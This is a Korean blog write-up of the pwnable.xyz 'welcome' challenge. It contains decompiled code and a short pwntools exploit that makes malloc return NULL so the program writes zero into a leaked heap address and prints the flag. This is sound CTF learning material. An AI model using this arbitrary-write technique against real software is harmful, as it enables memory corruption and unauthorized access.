Pwnstar
Pwnable.xyz welcome 본문
거의 한달만에 첫 글인데 진짜 쉬운 문제인데 한참동안 보고도 모르겠어서 까망눈연구소장님의 도움을 받아서 풀었다.
보호기법은 모두 걸려있다.
IDA로 디컴파일 소스코드를 보자
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
__int64 v4; // rdx
char *v5; // rbp
__int64 v6; // rdx
size_t v7; // rdx
size_t size; // [rsp+0h] [rbp-28h]
unsigned __int64 v10; // [rsp+8h] [rbp-20h]
v10 = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
}
이렇게 되어있는데, 플래그를 보기 위한 조건은 간단하다.
*v3 = 1로 설정해주고, 이 *v3가 0이면 플래그를 볼 수 있다. 이 v3를 0으로 만들어줘야 하는데, 다행히 처음에 v3의 주소를 leak해준다.
그러고 메세지의 길이와 메세지를 입력받는다. 이 부분을 이용해서 v3를 0으로 만들어야하는데 우선 v3와 v5가 각각 어느 위치에 생성되는 지 보자.
이렇게 생기는데...v5는 v3 뒤에 생성되기 때문에 overflow로 v3의 값을 덮어쓸 수가 없다.
여기까지가 문제를 보고 파악한 내용인데, v3를 0으로 만들 방법을 찾지 못해서 라업을 보았다.(예전에 풀었던 문제인데ㅠㅠ)
malloc을 할 떄 실패하게 되면 NULL값을 return하게 된다. malloc이 실패하는 이유에는 너무 큰 값을 할당하게 되어서 실패하는 경우가 있는데 NULL값을 return하게 만들어서 v5를 0으로 만들고,
v5[size - 1] = 0; 부분을 이용해서 v3를 0으로 만들 수 있다.
v5가 0이 되면 0 + size - 1의 주소를 0으로 만들게 되는데, 만약 size에 v3의 주소 + 1의 값을 넣게 되면 v3의 값을 0으로 만들 수 있게 된다. 그리고 이후의 메세지는 아무 값이나 입력해도 되고, 아무값도 입력하지 않아도 된다.
ex.py
from pwn import*
p = remote("svc.pwnable.xyz", 30000)
p.recvuntil("Leak: ")
v3_addr = int(p.recv(14), 16)
log.info("v3_address = " + hex(v3_addr))
p.recvuntil("Length of your message: ")
p.sendline(str(v3_addr+1))
p.recvuntil("Enter your message: ")
p.sendline()
p.interactive()
이렇게 페이로드를 작성해주면 플래그를 볼 수 있다.
참고
thanks to 까망눈연구소장님
[pwnable.xyz] welcome
1. 문제 1번 문제에 걸려있는 보호기법들은 다음과 같다. NX 비트가 걸려있기 때문에 실행권한도 없을 것이고, PIE도 걸려있어 GOT overrite도 불가능 할 것이다. 쩃든 프로그램을 한번 실행시켜보자
wogh8732.tistory.com
'Wargame > pwnable.xyz' 카테고리의 다른 글
Pwnable.xyz note (0) | 2020.11.12 |
---|---|
Pwnable.xyz GrownUp (0) | 2020.11.12 |
Pwnable.xyz misalignment (0) | 2020.11.09 |
Pwnable.xyz add (0) | 2020.11.09 |
Pwnable.xyz sub (0) | 2020.11.09 |